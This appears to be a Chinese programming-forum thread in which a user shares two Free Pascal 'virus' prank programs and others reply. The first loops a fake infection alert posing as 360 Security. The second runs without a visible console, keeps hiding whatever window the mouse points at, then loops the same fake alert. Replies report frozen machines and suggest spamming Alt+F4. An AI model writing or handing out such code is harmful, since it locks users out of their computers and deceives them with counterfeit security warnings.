我又通过windows编了新的病毒了！！！！！！
【病毒者一号】（……）
uses windows;
begin
while true do
MessageBox(0, '你的电脑中病毒了', '警告：360安全卫士', mb_Ok);
end.

这个太简单了，相信大家都能解决

接下来是【病毒者二号】（这个名字是不是很⊙﹏⊙b汗？）
别怪我没提醒你啊，这个比较厉害
以下引用了 狼妹宋天琢的程序 @狼妹宋天琢


以下程序的解决方法是，一直按键盘上的“开始”
直到“开始”出现为止，然后一直按“u”（注意，不要动鼠标！！）
就能解决了，这是我想出来唯一的方法，菜鸟最好看一下

{$APPTYPE GUI} //隐藏黑框框
uses windows;
var
CurMouse : Tpoint; //CurMouse 鼠标的坐标
window : hwnd; //window 窗口的句柄
begin
While true do
begin
GetCursorPos(CurMouse); //取当前鼠标的坐标
window := WindowFromPoint(CurMouse); //取当前鼠标的坐标的窗口
ShowWindow(window,SW_HIDE); // SW_HIDE 隐藏窗口
end;
while true do
MessageBox(0, '警告：360安全卫士', '你的电脑中病毒了', mb_Ok);
end.


注意：要用fp！！！！！！！！！！！！！

→ →坏人 那是别人的程序 你死循环后面再加个死循环干嘛用啊

话说我还想起一种东西 叫做KEYBDEVENT 不停地按AltF4会怎样 VB测试效果不错（话说改成P没必要吧- -|||）

第二个把我的电脑搞死机了。。TAT

吓人不错吧（第二个）

拔电源即可

此类最好的就是重新启动。。

怎么打中文？

试试再说

死机了……

我一直很好奇windows单元的用法在哪看到

怎么办，用了2什么都没了，现在就能看到这个窗口